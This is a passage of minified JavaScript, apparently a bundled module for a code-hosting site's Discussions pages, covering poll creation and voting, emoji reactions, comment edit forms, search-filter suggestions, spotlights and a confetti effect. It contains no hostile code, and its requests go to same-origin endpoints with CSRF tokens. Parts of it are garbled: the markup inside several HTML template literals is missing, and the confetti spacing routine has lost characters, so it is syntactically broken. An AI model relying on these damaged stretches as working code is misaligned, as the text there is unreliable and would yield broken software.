HTMLElement&&(m.classList.add("mr-2"),B.appendChild(m)),B.appendChild(y),n.replaceWith(B),s instanceof HTMLElement&&(s.hidden=!1))}o(b,"updateHeader");function p(e){const t=document.querySelector("#discussion_poll_form");!t||(t.hidden=!e)}o(p,"displayPollForm"),(0,i.on)("click",".js-poll-option-template-button",function(e){var t;const s=e.currentTarget.parentElement,m=s.querySelector(".js-poll-option-destroy-field"),y=s.closest(".js-discussion-poll-form-component");m?(m.value="true",(t=m.nextElementSibling)==null||t.classList.remove("js-poll-option"),s.hidden=!0):s.remove();const C=document.querySelector(".js-add-poll-option");(C==null?void 0:C.hidden)&&(C.hidden=!1,C.setAttribute("aria-hidden","false")),y&&(0,i.f)(y,"pollOptionRemoved")}),(0,i.on)("click",".js-add-poll-option",function(e){const t=e.currentTarget,n=document.querySelector("#poll-option-container"),s=+n.getAttribute("data-poll-options-limit"),m=document.querySelector(".js-poll-option-template"),y=n.getAttribute("data-new-discussion")==="true";if(n&&m){const B=m.cloneNode(!0);B.hidden=!1;const Y=B.querySelector(".js-poll-option-template-input");if(y)Y.name="discussion[poll_attributes][options_attributes][][option]";else{const At=n.getAttribute("data-poll-option-next-key");Y.name=`discussion[poll_attributes][options_attributes][${At}][option]`,n.setAttribute("data-poll-option-next-key",`${parseInt(At)+1}`)}n.appendChild(B)}const C=n.querySelectorAll(".js-poll-option").length;t&&C>=s&&(t.hidden=!0,t.setAttribute("aria-hidden","true"))}),(0,i.on)("change","#js-verify-searched",function(e){const t=e.currentTarget,n=document.querySelector("#submit"),s=document.querySelector("#new_discussion");s instanceof HTMLFormElement&&s.checkValidity()&&n&&(n.disabled=!t.checked)}),(0,i.on)("change","#js-discussion-title",function(e){const t=e.currentTarget,n=document.querySelector("#js-similar-search-link");if(n instanceof HTMLAnchorElement&&t instanceof HTMLInputElement){const s=n.getAttribute("data-path");n.href=`${s}${encodeURIComponent(t.value)}`}}),(0,i.on)("details-menu-selected",".js-discussion-category-select",function(e){const t=e.detail.relatedTarget,n=document.querySelector("#discussion_category_id"),s=document.querySelector("#submit"),m=document.querySelector("#new_discussion"),y=document.querySelector("#js-verify-searched");let C=!0;y instanceof HTMLInputElement&&(C=y.checked,s instanceof HTMLButtonElement&&!C&&(s.disabled=!0)),b(t);const B=t.getAttribute("data-supports-polls");if(n instanceof HTMLInputElement){if(n.setAttribute("value",t.id),B==="true"){const Y=document.querySelector(".js-previewable-comment-form");(Y==null?void 0:Y.classList.contains("preview-selected"))||p(!0)}else p(!1);m instanceof HTMLFormElement&&m.checkValidity()&&C&&(s==null||s.removeAttribute("disabled"))}},{capture:!0});var w=a(29719);(0,d.N7)(".js-discussions-comment-actions-button",{subscribe:e=>(0,l.RB)(e,"mouseover",M,{capture:!1,once:!0})}),(0,i.on)("click",".js-discussions-comment-actions-button",function({currentTarget:e}){R(e)}),(0,d.N7)(".js-discussions-comment-actions-rendered-button",{add:e=>W(e)});function M(e){const t=e.currentTarget;g(t)}o(M,"handleMouseover");function W(e){const t=e.closest(".timeline-comment-actions");if(!!t&&t.hasAttribute("data-open-after-click")){t.removeAttribute("data-open-after-click");const n=e.closest("details");if(!n)return;n.setAttribute("open","")}}o(W,"conditionallyOpenMenu");async function g(e){if(!e)return;const t=e.closest(".timeline-comment-actions");if(!t)return;const n=t.querySelector(".js-discussions-comment-actions-container");if(!n)return;const s=n.getAttribute("data-comment-actions-url");if(!s)return;const m=await(0,w.a)(document,s);!m||n.replaceWith(m)}o(g,"insertCommentActions");function R(e){if(!e)return;const t=e.closest(".timeline-comment-actions");!t||t.setAttribute("data-open-after-click","")}o(R,"setClickAfterInsert");var x=a(69567),$=a(55741);(0,d.N7)(".js-discussions-comment-edit-button",{subscribe:e=>(0,l.RB)(e,"click",Z,{capture:!1,once:!0})}),(0,d.N7)(".js-task-list-container .contains-task-list",{add:async e=>I(e)}),(0,d.N7)(".js-discussion-poll-form-component",{subscribe:e=>(0,l.RB)(e,"pollOptionRemoved",X)}),(0,r.w4)("keyup",".js-discussion-poll-form-component input",X);async function I(e){const t=e.closest(".js-comment"),n=j(t);if(n){if(n.querySelector(".js-preview-body"))return;const m=n.getAttribute("data-permissions-url"),y=L(n).targetType;m&&y&&await H(m,y)&&(J(t),D(t))}}o(I,"conditionallyRenderEditForm");async function H(e,t){return(await(await fetch(e,{headers:{Accept:"application/json"}})).json())[t].update}o(H,"fetchAndReturnUpdatePermission");function Z(e){const n=e.currentTarget.closest(".js-comment");J(n),D(n),G(n)}o(Z,"handleClick");function X(e){const n=e.currentTarget.closest(".js-comment");if(n){const s=n.querySelector(".js-discussion-poll-form-component");s&&nt(n,(0,$.T)(s))}}o(X,"handlePollModificationEvent");function D(e){const t=e.querySelector(".js-discussions-markdown-toolbar-placeholder:last-child");if(t){const n={textareaId:t.getAttribute("data-textarea-id")};A("template.js-discussions-markdown-toolbar-template",t,n)}}o(D,"insertMarkdownToolbar");function G(e){const t=e.querySelector(".js-discussions-poll-edit-placeholder");if(t){const n=t.getAttribute("data-poll-edit-url");if(n==="")return;A("template.js-discussions-poll-edit-template",t,{pollEditUrl:n})}}o(G,"insertPollEditForm");function J(e){const t=j(e);if(t){const n=L(t);A("template.js-discussions-edit-form-template",t,n),q(e,n)}}o(J,"insertEditForm");function q(e,t){const n=F(e);n&&A("template.js-discussions-edit-actions-template",n,t)}o(q,"insertEditFormActions");function tt(e){const t=F(e);t&&A("template.js-discussions-poll-confirmation-template",t,{})}o(tt,"insertPollEditConfirmationPrompt");function nt(e,t){const n=j(e);if(n.getAttribute("data-poll-confirmation")==="true"!==t)if(t)tt(e),n.setAttribute("data-poll-confirmation","true");else{const m=L(n);q(e,m),n.setAttribute("data-poll-confirmation","false")}}o(nt,"toggleFormActionVariant");function j(e){return e.querySelector(".js-edit-comment-form-container")}o(j,"editFormTargetContainer");function F(e){return e.querySelector(".js-discussions-edit-form-actions")}o(F,"editFormActionsContainer");function L(e){return{bodyVersion:e.getAttribute("data-body-version"),outerDivClasses:e.getAttribute("data-outer-div-classes"),repositoryId:e.getAttribute("data-repository-id"),targetBody:e.getAttribute("data-target-body"),targetType:e.getAttribute("data-target-type"),textareaId:e.getAttribute("data-textarea-id"),slashCommandUrl:e.getAttribute("data-slash-command-url"),pollEditUrl:e.getAttribute("data-poll-edit-url")}}o(L,"editFormTemplateReplacements");function A(e,t,n){const s=document.querySelector(e);s&&(t.innerHTML="",t.appendChild(new x.R(s,n)))}o(A,"insertTemplate"),(0,d.N7)(".js-optimistic-reaction-render-button",{subscribe:e=>(0,l.RB)(e,"click",S,{capture:!1})});function S(e){const t=e.currentTarget;if(t){const n=new _(t);setTimeout(()=>{n.render()},1)}}o(S,"handleReactionEvent");class _{constructor(t){this.clickedReactionButton=t}render(){if(!this.isReactionAlreadyRendered)return this.addNewReactionGroup();this.isAddingReaction?this.addReactionToGroup():this.removeReactionFromGroup()}addReactionToGroup(){this.existingReactionGroupCountContainer&&this.existingReactionGroup&&(this.existingReactionGroup.removeAttribute("hidden"),this.existingReactionGroup.classList.add("user-has-reacted"),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount+1}`,this.addReactionToPopoverReactionButtons())}removeReactionFromGroup(){var t;this.existingReactionGroupCount===1&&this.existingReactionGroup.setAttribute("hidden",""),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount-1}`,(t=this.existingReactionGroup)==null||t.classList.remove("user-has-reacted"),this.removeReactionFromPopoverReactionButtons()}addNewReactionGroup(){const t=this.newEmojiButtonFromTemplate();this.newEmojiButtonTemplateContainer&&t&&this.commentReactionsContainer&&(this.nextButtonGroup?this.reactionGroupsContainer.insertBefore(t,this.nextButtonGroup):this.reactionGroupsContainer.append(t),t.classList.add(this.tooltipPositionClass),this.addReactionToPopoverReactionButtons(),this.commentReactionsContainer.classList.contains("d-md-none")&&this.commentReactionsContainer.classList.add("has-reactions"))}newEmojiButtonFromTemplate(){if(this.newEmojiButtonTemplateContainer){const n=this.newEmojiButtonTemplateContainer.content.querySelector(".js-reaction-group-button");if(n)return n.cloneNode(!0)}}get nextButtonGroup(){if(this.newEmojiButtonFromTemplatePosition!==void 0&&this.newEmojiButtonFromTemplatePosition!==null){const t=this.reactionGroupsContainer.children;for(const n of t)if(Number(n.getAttribute("data-button-index-position"))>this.newEmojiButtonFromTemplatePosition)return n}}get commentContainer(){return this.clickedReactionButton.closest(".js-comment")}get buttonsContainer(){return this.commentContainer.querySelector(".js-reaction-buttons-container")}get reactionContent(){return this.clickedReactionButton.getAttribute("data-reaction-content")}get reactionGroup(){return this.buttonsContainer.querySelector(`.js-comment-reactions-options g-emoji[alias='${this.reactionContent}'`)}get existingReactionGroup(){if(this.reactionGroup)return this.reactionGroup.closest(".js-reaction-group-button")}get existingReactionGroupCountContainer(){if(this.existingReactionGroup)return this.existingReactionGroup.querySelector(".js-discussion-reaction-group-count")}get newEmojiButtonTemplateContainer(){return document.getElementById(`emoji-reaction-button-template-${this.reactionContent}`)}get commentReactionsContainer(){return this.buttonsContainer.closest(".js-reaction-buttons-container")}get reactionGroupsContainer(){return this.buttonsContainer.querySelector(".js-comment-reactions-options")}get isReactionAlreadyRendered(){return!!this.reactionGroup}get isAddingReaction(){if(this.existingReactionGroup)return!this.existingReactionGroup.classList.contains("user-has-reacted")}get existingReactionGroupCount(){return this.existingReactionGroupCountContainer?Number(this.existingReactionGroupCountContainer.innerHTML):0}get newEmojiButtonFromTemplatePosition(){const t=this.newEmojiButtonFromTemplate();if(t)return Number(t.getAttribute("data-button-index-position"))}get tooltipPositionClass(){return this.buttonsContainer.querySelectorAll("button").length>1?"tooltipped-s":"tooltipped-se"}addReactionToPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.add("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)||(s.value=s.value.replace(/react/,"unreact"))}}removeReactionFromPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.remove("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)&&(s.value=s.value.replace(/unreact/,"react"))}}}o(_,"OptimisticReactionRenderer");var N=a(97730);(0,d.N7)(".js-inline-comment-form-container",{add:e=>U(e)}),(0,i.on)("click",".js-discussions-previewable-comment-form",function({currentTarget:e}){P(e,{willFocus:!0})}),(0,d.N7)(".js-discussions-previewable-comment-form-auto-replace",{add:e=>P(e,{willFocus:!1})}),(0,i.on)("quote-selection",".js-discussion-quote-selection",function(e){const t=e.detail,n=t.closest(".js-timeline-discussion-comment");if(!n)return;const s=t.range;P(n,{willFocus:!0}),t.range=s});function U(e){const t=e.closest(".discussion-timeline-item.js-comment-container");t&&t.getAttribute("data-open-edit-form-after-load")==="true"&&(t.setAttribute("data-open-edit-form-after-load","false"),P(e,{willFocus:!0}))}o(U,"conditionallyInsertForm");function P(e,t){const n=e.closest(".js-timeline-discussion-comment"),s=n.querySelector(".js-discussions-previewable-comment-form-container");if(!s)return;const m=s.getAttribute("data-parent-comment-id"),y=s.getAttribute("data-anchor-id"),C=s.getAttribute("data-back-page"),B=document.querySelector("template.js-new-comment-template");m&&B&&!s.querySelector(".js-discussion-comment-form")&&(s.innerHTML="",s.appendChild(new x.R(B,{id:m,random:crypto.randomUUID(),anchorId:y,backPage:C}))),t.willFocus&&(0,N.j)(n)}o(P,"insertForm"),(0,v.AC)(".js-discussions-previewable-comment-form-container .js-discussion-comment-form",async function(e,t){var n;await t.text(),(0,N.w)(e),(n=e.closest(".js-discussions-previewable-comment-form-container").querySelector(".js-comment-form-error"))==null||n.classList.add("d-none")});var V=a(32750),k=a(36162),z=a(15205),et=a(56238),at=a(41311);async function ot(){const e=O(),t=e.value,s=t.slice(0,e.selectionEnd).split(/\s+/).pop();st().hidden=!1,O().setAttribute("aria-expanded","true");const[m,y]=s.split(":");y!=null?await Pt(m,y):Dt(m);const C=Lt();t.trim().length>0?(C.hidden=!1,(0,V.T_)(Q())):(C.hidden=!0,(0,V.QZ)(Q()))}o(ot,"updateSearchSuggestionResults");function Ct(){const e=O();e.value="",e.getAttribute("data-initial-value").trim().length===0?ot():(0,et.Bt)(Q())}o(Ct,"handleSearchClear");function Tt(e){switch(e.detail.hotkey){case"Enter":if(O().value.trim()!==""||lt().querySelector(".js-navigation-item.navigation-focus"))return;(0,et.Bt)(Q());return;case"Escape":st().hidden=!0,O().setAttribute("aria-expanded","false");break}}o(Tt,"handleSearchInputKeydown");function _t(e){if(e&&e.target){const t=e.target,n=O();n!=null&&n.setAttribute("aria-activedescendant",t.id)}}o(_t,"handleSearchFormFocus");function ct(){(0,V.jK)(Q()),st().hidden=!0,O().setAttribute("aria-expanded","false")}o(ct,"hideSearchSuggestions");function Rt(e){const t=O(),n=e.target;if(n.hasAttribute("data-search")){(0,et.Bt)(Q());return}let s=n.getAttribute("data-value");s[s.length-1]!==":"&&(s+=" ");const m=t.value.slice(0,t.selectionEnd).replace(/\S+$/,""),y=t.value.slice(t.selectionEnd);let C="";y.length>0&&y[0]!==" "&&(C=" "),t.value=m+s+C+y,e.preventDefault(),t.focus();const B=m.length+s.length;t.setSelectionRange(B,B),(0,i.f)(t,"input")}o(Rt,"handleSelectedSuggestionResultEvent");function Ft(){const e=O(),t=e.value.length;e.setSelectionRange(t,t),e.focus(),ct()}o(Ft,"restoreSearchInputFocus");function Q(){return document.querySelector(".js-discussion-search-form")}o(Q,"getSearchForm");function O(){return document.querySelector(".js-discussion-search-input")}o(O,"getSearchInput");function st(){return document.querySelector(".js-discussion-search-autocomplete-dropdown")}o(st,"getSearchAutocompleteDropdown");function lt(){return document.querySelector(".js-discussion-search-autocomplete-results")}o(lt,"getSearchAutocompleteResultsContainer");function Lt(){return document.querySelector(".js-discussion-search-clear")}o(Lt,"getSearchClearButton");const xt=(0,z.Z)(Bt);function Bt(){return[{value:"author:",description:"filter by discussion author"},{value:"category:",description:"filter by discussion category"},{value:"is:",description:"filter by answered or unanswered"},{value:"label:",description:"filter by discussion label"}]}o(Bt,"fetchQualifierSuggestions");async function Pt(e,t){const n=Mt(e),s=dt(n,t).then(m=>m.map(y=>({value:`${e}:${y.value}`,description:y.description})));mt(s)}o(Pt,"renderValueSuggestions");async function Mt(e){switch(e){case"author":return It();case"category":return qt();case"label":return kt();case"is":return Ot();default:return[]}}o(Mt,"fetchSuggestionsForQualifier");const ut=(0,z.Z)(async e=>await(await fetch(e,{headers:{Accept:"application/json"}})).json());async function It(){const e=O().getAttribute("data-suggestable-authors-path");return ut(e)}o(It,"fetchAuthorSuggestions");async function qt(){return JSON.parse(O().getAttribute("data-suggestable-categories"))}o(qt,"fetchCategorySuggestions");async function kt(){const e=O().getAttribute("data-suggestable-labels-path");return ut(e)}o(kt,"fetchLabelSuggestions");async function Ot(){return[{value:"answered"},{value:"unanswered"}]}o(Ot,"fetchTypeSuggestions");function Dt(e){const t=xt(),n=dt(t,e,{fuzzy:!1}).then(s=>s.length===0?t:s);mt(n)}o(Dt,"renderQualifierSuggestions");async function dt(e,t,{fuzzy:n}={fuzzy:!0}){const s=await e,m=t.trim();return!m||m.length===0?s:s.filter(y=>n?y.value.includes(m):y.value.startsWith(m))}o(dt,"filterSuggestionsList");async function mt(e){const t=e.then(n=>n.length===0?k.dy``:ft());(0,k.sY)(k.dy` +
    + ${Nt()} ${(0,at.C)(t,ft())} + ${(0,at.C)(Ut(e),k.dy` loading... `)} +
    + `,lt())}o(mt,"renderSuggestionDropdown");function ft(){return k.dy`
    + Suggested filters +
    `}o(ft,"renderSuggestionsTitle");function Nt(){const e=O().value.trim();return e.length===0?k.dy``:k.dy` +
    + ${e} + +
    + `}o(Nt,"renderSearchSuggestion");async function Ut(e){return(await e).map((n,s)=>k.dy` +
    + ${n.value} + ${n.description} +
    + `)}o(Ut,"renderSuggestionList");var $t=a(29946);(0,i.on)("focusin",".js-discussion-search-input",ot),(0,i.on)("focusout:delay",".js-discussion-search-input",ct),(0,i.on)("navigation:open",".js-discussion-search-form",e=>{Rt(e)}),(0,i.on)("navigation:focus",".js-discussion-search-form",e=>{_t(e)}),(0,i.on)("navigation:keydown",".js-discussion-search-form",e=>{Tt(e)}),(0,d.N7)(".js-discussion-search-input",e=>{e.addEventListener("input",ot)}),(0,i.on)("click",".js-discussion-search-clear",Ct);let it=!1;(0,i.on)("submit",".js-discussion-search-form",()=>(it=!0,!0));function pt(){it&&Ft(),it=!1}o(pt,"restoreFocus"),document.addEventListener("pjax:end",pt),document.addEventListener($t.QE.SUCCESS,pt);var Ht=a(42150);(0,d.N7)(".js-confetti-party",()=>{(0,Ht.Z)()}),(0,i.on)("change",".js-discussion-spotlight-preview-trigger",function(e){const t=e.currentTarget,s=t.closest("form").querySelectorAll(`input[name="${t.name}"]`);for(const m of s){const y=m.closest("label");m.checked?y.setAttribute("aria-selected","true"):y.setAttribute("aria-selected","false")}Vt(t)}),(0,i.on)("click",".js-toggle-manage-discussion-spotlight",function(e){e.target instanceof HTMLElement});function Vt(e){const n=ht(e).querySelector(".js-discussion-spotlight-preview");Gt(n)}o(Vt,"previewTriggerChanged");async function Gt(e){const t=ht(e),n=e.getAttribute("data-url"),s=new URL(n,window.location.origin),m=t.querySelector(".js-discussion-spotlight-form");s.search+=(s.search?"&":"")+(0,et.qC)(m);let y;try{y=await(0,w.a)(document,s.toString())}catch{return}e.replaceWith(y)}o(Gt,"updateSpotlightPreview");function ht(e){return e.closest(".js-manage-discussion-spotlight-container")}o(ht,"getManageSpotlightContainer"),(0,v.AC)(".js-spotlight-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove(),document.querySelector(".js-discussions-categories")&&document.querySelector(".js-discussions-categories").classList.remove("v-hidden")}),(0,d.N7)(".js-discussion-spotlights-sortable",{async add(e){const{Sortable:t}=await a.e("app_assets_modules_github_sortable-behavior_ts").then(a.bind(a,36962));t.create(e,{animation:150,handle:".js-discussion-spotlight-handle",onUpdate:async()=>{const n=e.getAttribute("data-update-url"),m=Array.from(e.querySelectorAll(".js-discussion-spotlight")).map(C=>C.getAttribute("data-id")),y=e.parentElement.querySelector(".js-data-url-csrf");!y||await fetch(n,{method:"PUT",mode:"same-origin",body:JSON.stringify({spotlight_ids:m}),headers:{"Content-Type":"application/json",Accept:"application/json","Scoped-CSRF-Token":y.value,"X-Requested-With":"XMLHttpRequest"}})}})}}),(0,i.on)("click",".js-discussion-comment-thread-expand-button",function({currentTarget:e}){const t=gt(e);!t||Wt(t)}),(0,i.on)("click",".js-discussions-fetch-all-paginated-comments",function({currentTarget:e}){const t=gt(e);!t||Kt(t)});function Wt(e){Xt(e)&&e.setAttribute("data-open-edit-form-after-load","true")}o(Wt,"conditionallyOpenEditFormAfterLoad");function Kt(e){const t=e.querySelector(".js-discussion-comment-thread-expand-button");t&&(e.setAttribute("data-open-edit-form-after-load","true"),t.click())}o(Kt,"clickShowMoreButton");function gt(e){return e.closest(".discussion-timeline-item.js-comment-container")}o(gt,"commentContainerFor");function Xt(e){const t=e.querySelector(".js-inline-comment-form-container");return t?t.classList.contains("open"):!1}o(Xt,"isReplyFormOpen"),(0,d.N7)(".js-remove-error-state-on-click > details",{add:e=>Qt(e)});function Qt(e){var t;const n=(t=document.getElementById("discussion_category_id"))==null?void 0:t.getAttribute("value");if(!n)return;const s=e.querySelector(`.discussion-category-${n}`);!s||s.click()}o(Qt,"conditionallyReselectCategory");var ee=a(62805),vt=a(12981);const Zt=o(async(e,t,n,s)=>{const m=new FormData;m.append("question",n);for(const y of s)m.append("options[]",y);return await fetch(e,{body:m,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"sendRequest");class yt{constructor(t){this.pollForm=t,this.pollPreviewUrl=this.pollForm.getAttribute("data-poll-preview-url")||""}hide(){var t;this.pollForm.hidden=!0,(t=this.pollForm)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.pollForm.hidden=!1,(t=this.pollForm)==null||t.setAttribute("aria-hidden","false")}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-poll-preview-url-post-csrf");return t?t.value:""}getOptions(){const t=[],n=this.pollForm.querySelector("#poll-option-container");if(!n)return t;const s=n.querySelectorAll(".js-poll-option");for(const m of s)m.value&&t.push(m.value);return t}getQuestion(){const t=this.pollForm.querySelector(".js-poll-form-input-question");return t?t.value:""}}o(yt,"PollFormElement");class bt{constructor(t){this.pollFormElement=t}hidePollForm(){this.pollFormElement.hide()}showPollForm(){this.pollFormElement.show()}async getPreview(){const t=this.pollFormElement.getQuestion(),n=this.pollFormElement.getOptions();return t&&n.length>0?await(await Zt(this.pollFormElement.pollPreviewUrl,this.pollFormElement.getCsrfInputValue(),t,n)).text():""}}o(bt,"Poll");let K;(0,d.N7)(".js-discussion-poll-form-component",e=>{K=new bt(new yt(e))}),(0,i.on)("preview:rendered",".js-previewable-comment-form",async function(e){if(!K)return;const n=e.currentTarget.querySelector(".comment-body"),s=await K.getPreview();n.append((0,vt.r)(document,s)),K.hidePollForm()}),(0,i.on)("poll-preview:toggle:off",".js-discussion-poll-form-component",async function(){if(!K)return;const e=document.querySelector(".js-discussion-category-select");if(e){const t=e.querySelector("#category-select-header");if(!t)return;t.getAttribute("data-supports-polls")==="true"&&K.showPollForm()}else K.showPollForm()});const zt=o(async(e,t,n)=>{const s=new FormData;return s.append("option_id",n),await fetch(e,{body:s,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"polls_voting_sendRequest");class Et{constructor(t){this.optionsElement=t}checkedValue(){var t;const n=(t=this.optionsElement)==null?void 0:t.querySelector(".js-discussion-poll-option:checked");return n==null?void 0:n.value}hide(){var t;this.optionsElement&&(this.optionsElement.hidden=!0),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.optionsElement&&(this.optionsElement.hidden=!1),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","false")}}o(Et,"PollOptionsElement");class wt{constructor(t){this.resultsElement=t}hide(){var t;this.resultsElement&&(this.resultsElement.hidden=!0),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.resultsElement&&(this.resultsElement.hidden=!1),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","false")}}o(wt,"PollResultsElement");class St{constructor(t){this.pollForm=t,this.resultsElement=new wt(t.querySelector(".js-discussion-poll-results")),this.optionsElement=new Et(t.querySelector(".js-discussion-poll-options")),this.hideResultsButton=t.querySelector(".js-poll-hide-results"),this.showResultsButton=t.querySelector(".js-poll-show-results"),this.voteButton=t.querySelector(".js-discussion-poll-vote-button"),this.voteUrl=this.pollForm.getAttribute("data-vote-url")||"",this.pollUrl=this.pollForm.getAttribute("data-poll-url")||"",this.pollLocked=this.pollForm.getAttribute("data-poll-locked")||""}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-data-url-post-csrf");return t?t.value:""}hideResults(){var t,n,s,m;this.resultsElement.hide(),this.optionsElement.show(),this.hideResultsButton&&(this.hideResultsButton.hidden=!0),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","true"),this.showResultsButton&&(this.showResultsButton.hidden=!1),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","false"),this.pollLocked==="true"?(s=this.voteButton)==null||s.setAttribute("aria-disabled","true"):(m=this.voteButton)==null||m.setAttribute("aria-disabled","false")}showResults(){var t,n,s;this.resultsElement.show(),this.optionsElement.hide(),this.hideResultsButton&&(this.hideResultsButton.hidden=!1),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","false"),this.showResultsButton&&(this.showResultsButton.hidden=!0),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","true"),(s=this.voteButton)==null||s.setAttribute("aria-disabled","true")}}o(St,"polls_voting_PollFormElement");class jt{constructor(t){this.pollFormElement=t,this.bindHideResultsClick(t.hideResultsButton),this.bindShowResultsClick(t.showResultsButton),this.bindVoteClick(t.voteButton)}bindHideResultsClick(t){t==null||t.addEventListener("click",async()=>{this.hideResults()})}bindShowResultsClick(t){t==null||t.addEventListener("click",async()=>{this.showResults()})}bindVoteClick(t){t==null||t.addEventListener("click",async()=>{this.vote()})}async vote(){const t=this.pollFormElement.optionsElement.checkedValue();if(t&&(await zt(this.pollFormElement.voteUrl,this.pollFormElement.getCsrfInputValue(),t)).ok)try{const m=await(await fetch(this.pollFormElement.pollUrl,{headers:{Accept:"text/html"}})).text();this.pollFormElement.pollForm.replaceWith((0,vt.r)(document,m))}catch{return}}hideResults(){this.pollFormElement.hideResults()}showResults(){this.pollFormElement.showResults()}}o(jt,"polls_voting_Poll"),(0,d.N7)(".js-discussion-poll-component",e=>{new jt(new St(e))});var Yt=a(7739);const Jt=new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&(t.target.hidden=!0)},{root:null,rootMargin:"0px",threshold:.1});(0,d.N7)(".js-whats-new",e=>Jt.observe(e)),(0,i.on)("click",".js-whats-new-state",e=>{var t;((t=e.target)==null?void 0:t.parentNode).scrollIntoView({behavior:"smooth",block:"start"})});const rt=o(()=>{const e=document.querySelector(".js-whats-new-state");!e||(e.hidden=!1)},"showWhatsNew");document.addEventListener("pjax:end",rt),document.addEventListener("turbo:load",rt),async function(){await Yt.x,setTimeout(rt,1e3)}()},47930:(T,E,a)=>{a.d(E,{S:()=>h});function l(f){const c=document.querySelectorAll(f);if(c.length>0)return c[c.length-1]}o(l,"queryLast");function d(){const f=l("meta[name=analytics-location]");return f?f.content:window.location.pathname}o(d,"pagePathname");function v(){const f=l("meta[name=analytics-location-query-strip]");let c="";f||(c=window.location.search);const i=l("meta[name=analytics-location-params]");i&&(c+=(c?"&":"?")+i.content);for(const r of document.querySelectorAll("meta[name=analytics-param-rename]")){const u=r.content.split(":",2);c=c.replace(new RegExp(`(^|[?&])${u[0]}($|=)`,"g"),`$1${u[1]}$2`)}return c}o(v,"pageQuery");function h(){return`${window.location.protocol}//${window.location.host}${d()+v()}`}o(h,"requestUri")},22485:(T,E,a)=>{a.d(E,{N:()=>v,x:()=>h});var l=a(7739);let d=null;(async function(){await l.x,f()})();function v(i){h(c(i))}o(v,"announceFromElement");function h(i){!d||(d.textContent="",d.textContent=i)}o(h,"announce");function f(){d=document.createElement("div"),d.setAttribute("aria-live","polite"),d.classList.add("sr-only"),document.body.append(d)}o(f,"createNoticeContainer");function c(i){return(i.getAttribute("aria-label")||i.innerText||"").trim()}o(c,"getTextContent")},42150:(T,E,a)=>{a.d(E,{Z:()=>nt});const l=Math.random,d=Math.cos,v=Math.sin,h=Math.PI,f=h*2,c=40,i=3,r=12-i,u=10,b=100,p=-.1,w=-p-p,M=.13,W=.18,g=.4,R=.7-g;let x,$;const I=[],H=["#6a737d","#0366d6","#28a745","#ffd33d","#f66a0a","#6f42c1","#ea4aaa"];function Z(){const j=Math.floor(Math.random()*H.length);return H[j]}o(Z,"colorTheme");function X(j,F,L){return(1-d(h*L))/2*(F-j)+j}o(X,"interpolation");const D=1/u,G=D+D;function J(){const j=[D,1-D];let F=1-G;const L=[0,1];for(;F;){let A=F*l(),S,_,N,U,P;for(S=0,_=j.length,F=0;S<_;S+=2){if(U=j[S],P=j[S+1],N=P-U,A0;S-=2)_=S-1,U=j[_],P=j[S],U>=V&&Uk?j[_]=k:j.splice(_,2):UV&&(P<=k?j[S]=V:j.splice(S,0,V,k));for(S=0,_=j.length,F=0;S<_;S+=2)F+=j[S+1]-j[S]}return L.sort()}o(J,"createPoisson");const q=document.createElement("div");q.style.position="fixed",q.style.top="0",q.style.left="0",q.style.width="100%",q.style.height="0",q.style.overflow="visible",q.style.zIndex="9999";class tt{constructor(F){this.frame=0,this.outer=document.createElement("div"),this.inner=document.createElement("div"),this.outer.appendChild(this.inner),this.outer.style.position="absolute",this.outer.style.width=`${i+r*l()}px`,this.outer.style.height=`${i+r*l()}px`,this.inner.style.width="100%",this.inner.style.height="100%",this.inner.style.backgroundColor=F(),this.outer.style.perspective="50px",this.outer.style.transform=`rotate(${360*l()}deg)`,this.theta=360*l(),this.axis=`rotate3D(${d(360*l())},${d(360*l())},0,`,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.dTheta=g+R*l(),this.x=window.innerWidth*l(),this.y=-b,this.dx=v(p+w*l()),this.dy=M+W*l(),this.outer.style.left=`${this.x}px`,this.outer.style.top=`${this.y}px`,this.splineX=J(),this.splineY=[];const L=this.splineX.length-1;for(let A=1;A=this.splineX[_];)S=_++;const N=X(this.splineY[S],this.splineY[_],(A-this.splineX[S])/(this.splineX[_]-this.splineX[S]));return A*=f,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.outer.style.left=`${this.x+N*d(A)}px`,this.outer.style.top=`${this.y+N*v(A)}px`,this.y>F+b}}o(tt,"Confetto");function nt(j){const F=j==null?5e3:j;if(!$){document.body.appendChild(q);const L=o(()=>{const _=new tt(Z);I.push(_),q.appendChild(_.outer),x=window.setTimeout(L,c*l())},"addConfetto");L();let A;const S=o(_=>{const N=A?_-A:0;A=_;const U=window.innerHeight;for(let P=I.length-1;P>=0;--P)I[P].update(U,N)&&(q.removeChild(I[P].outer),I.splice(P,1));if(x||I.length){$=requestAnimationFrame(S);return}document.body.removeChild(q),$=void 0},"loop");window.setTimeout(function(){clearTimeout(x),x=void 0},F),requestAnimationFrame(S)}}o(nt,"poof")},97730:(T,E,a)=>{a.d(E,{j:()=>h,w:()=>f});var l=a(59753),d=a(55741),v=a(45075);(0,l.on)("click",".js-toggle-inline-comment-form",function(c){const 